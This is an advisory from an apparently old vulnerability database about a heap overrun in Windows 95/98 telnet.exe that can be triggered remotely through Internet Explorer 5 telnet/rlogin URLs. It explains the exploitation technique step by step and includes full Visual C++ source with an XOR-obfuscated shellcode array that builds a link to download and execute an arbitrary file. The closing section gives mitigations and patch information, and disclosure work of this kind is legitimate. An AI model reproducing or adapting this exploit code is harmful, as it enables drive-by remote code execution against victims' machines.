COMMAND

    telnet.exe

SYSTEMS AFFECTED

    Win95, Win98

PROBLEM

    Jeremy Kothe  found following  regarding Telnet.exe  (77824 bytes,
    11th May  98).   This version  of Telnet  (which ships  as part of
    Windows 98) has  a bug which  allows a heap  overrun.  It  assumes
    that  the  first  command-line  argument  will  be <255 chars when
    preparing for  the "Connect  Failed" message-box.   The result  is
    that a few crucial bytes can be written over, which, as the telnet
    app  is  closing,  allow  full  execution  of arbitrary code.  See
    below for  full details...   Oh yes,  it has  been that Windows'95
    telnet.exe (74,720Kb) is too exploitable.

    This is still all local, though, so let's skip to the REMOTE  part
    where we are going to include IE 5.00.2314.1003/5.00.2314.1003IC.

    Internet Explorer automatically invokes telnet when given an
    "rlogin:", "telnet:" or "tn3270:" protocol URL.  Earlier  versions
    of IE which experimented with had comparitively tight restrictions
    on the  format of  the url,  only allowing  two parameters through
    (two zeros  to you  and Jeremy).   As it  turns out,  this is  not
    enough to  exploit the  bug.   But with  the versions named above,
    which as  of writing  include the  latest version  Microsoft would
    let you download, the restrictions seem to have been lifted.   One
    can only assume that this is either unintentional, or that  tn3270
    or telnet applications have been found which makes this desirable.
    Whatever!   The  end  result  is  that  it  seems  the most recent
    versions of IE 5 will faithfully pass any collection of parameters
    up to about 460 chars into telnet.exe.

    What are  the systems  at risk?   Windows 98  default installation
    with  SOME  versions  of  IE5.   If  you  click  on a link, or are
    refreshed to a link, then see telnet.exe pop-up, complaining  that
    it  can't  connect  to  a  garbage-type  address, DO NOT close the
    telnet  executable.   Instead,  either  forcefully  terminate  the
    process,  or  reboot.   The  exploit  does  NOT  take effect until
    telnet.exe is closing.

    Heap overruns are not for the faint of heart.  If you have trouble
    following stack overrun exploits, turn back now - or go and learn,
    then come  back.   With a  stack overflow,  getting the machine to
    execute into our buffer is  relatively easy.  We have,  after all,
    overwritten the function return  address.  Point this  (indirectly
    or not) at the esp and you're in business.  Without this  benefit,
    we have a much tougher time exploiting the overrun.  In fact it is
    entirely possible that no exploit is possible.  It all depends  on
    what follows our buffer in memory.

    The  best  candidates  for  overwriting  are  pointers.  If we can
    overwrite  one  which  the  program  subsequently  uses, we have a
    chance to make something happen.  The trick is to ignore what  the
    program is trying to do, and to look at what it's doing.  One core
    idea Jeremy  has found  to be  of value  is this:  One way  to get
    execution  onto  the  stack  is  to  find  a way to manipulate our
    uncorrupted stack.   Often you  will find  a pointer  to the stack
    (or command-line) somewhere not far  from the top (of the  stack).
    If it can  be moved only  a few bytes,  or we can  conspire to pop
    more than we push, we can then return to our buffer.

    The overrun  we are  presented with  is only  a handfull of bytes,
    just enough to  overwrite one pointer  value following the  buffer
    in memory.   This pointer, as  it turns out,  originally points to
    an array  of 1024  pointers, which  are either  NULL, or  point in
    turn to  a 16-byte  structure.   From context  this seems  to be a
    file-handle table of sorts.   Let's use SoftICE/IDA/PSEDIT.   When
    examined  the  routine  (fflush)  where  we end up referencing the
    pointer,  it  turns  out  that  the  code  iterates  thru the 1024
    pointers,  and   for  each   non-NULL  entry,   it  examines   and
    conditionally changes  the 16  byte structure  pointed to.   It is
    the change we are interested  in. If the structure is  represented
    as:

        DWORD dw1, dw2, dw3

    then the effect of the change is:

        dw1 = dw3
        dw2 = 0

    Whilst examining various locations in memory where out exploit
    string ends up (there are a couple, as the command-line get
    passed, then parsed), Jeremy found one where the following 4k was
    allocated and 99% zeros.  He also found at the top of the stack,
    about 12 bytes back, a pointer to our exploit string (WinMain
    lpCmdLine anyone), which was ripe to be copied down 8-bytes to
    overwrite a return address.  Now ideally, if the memory found was
    all blank, all we'd need to do would be to arrange for the
    trailing bytes of my exploit string to point to the appropriate
    place on the stack. This last DWORD, followed by 1024 DWORD
    zeros, would serve as a faux handle table which would overwrite a
    return address with a pointer to our exploit.

    In the actual case Jeremy found there were indeed 1024 zeros,  but
    there was also one non-zero  DWORD directly after his exploit  and
    before the zeros.  He needed to remove these values for the  table
    to not crash... so he used the same technique over again to remove
    it -  adding another  entry at  the top  of our  table pointing to
    the offending location  neatly removes it,  then the second  entry
    does the actual work, and the rest of the table is empty.

    Jeremy  has  worked  out  an  exploit  which downloads and runs an
    arbitrary file,  and have  included the  source for  a Visual  C++
    program to create a binary file containing the exploit as a  link.
    Add (for  example) an  html header  and footer,  and you  have it.
    Notes:  The  exploit  uses  URLDownloadToCacheFile  and   WinExec.
    Disassembling  the  binary  file  will  show you the code (strings
    have been xor'ed with 0xFADE).   Any comments on the exploit  code
    would be appreciated.

    #include <stdio.h>
    #include <afx.h>
    #include <windows.h>


    void Usage( void ) {
      printf( "Usage: exfact url(40) outfile\n" );
    }

    #define URL_OFFSET 48

    unsigned char aSploit[] = {
      0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
      0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
      0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
      0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
      0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
      0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
      0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
      0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
      0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
      0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
      0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
      0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
      0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
      0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
      0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
      0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
      0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,
      0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,
      0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
      0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
      0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
      0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
      0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
      0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
      0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
      0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
      0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
      0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
      0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
      0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
      0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
      0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
      0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
    };


    int main( int argc, char *argv[] ) {

      if( argc == 3 ) {
        DWORD dwURLlen = strlen( argv[ 1 ] )+1;
        if( dwURLlen < 40 ) {
          HANDLE h = CreateFile(
            argv[ 2 ],
            GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            0,
            0 );

          if ( h == INVALID_HANDLE_VALUE ) {
            printf( "Error creating %s\n", argv[ 2 ] );
            return( 0 );
          }

          DWORD dwWrit = 0;
          if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
           ( dwWrit != URL_OFFSET ) )
            goto writeerr;

          for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
            *PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use
    htons?
          *PWORD( p ) ^= 0xdefa;

          if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
            ( dwWrit != dwURLlen ) )
            goto writeerr;

          DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
          if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
            &dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
            goto writeerr;

          CloseHandle( h );

          return( 0 );
        }
      }

      Usage();
      return( 1 );

    writeerr:
      printf( "Error writing to %s\n", argv[ 2 ] );
      return( 2 );
    }

SOLUTION

    Either remove telnet.exe  from the path,  so IE cannot  launch it,
    or get a copy of the WinNT telnet.exe or patch it.  Microsoft  had
    an opportunity to investigate this issue, and want to advise  that
    a fix  already is  available.   The vulnerability  is fixed  in IE
    5.0b, which ships as part of  Windows 98 Second Edition.  It  also
    is  eliminated  by  the  patch  for the "Malformed Favorites Icon"
    vulnerability which  was released  in May.    The  reason that the
    security bulletin did  not discuss this  fix is because  Microsoft
    discovered the unchecked buffer during a routine code review,  and
    corrected  it  as  a  code  quality  issue.   The vulnerability is
    present in IE 4.0 as well, and MS is developing a patch that  will
    be release shortly.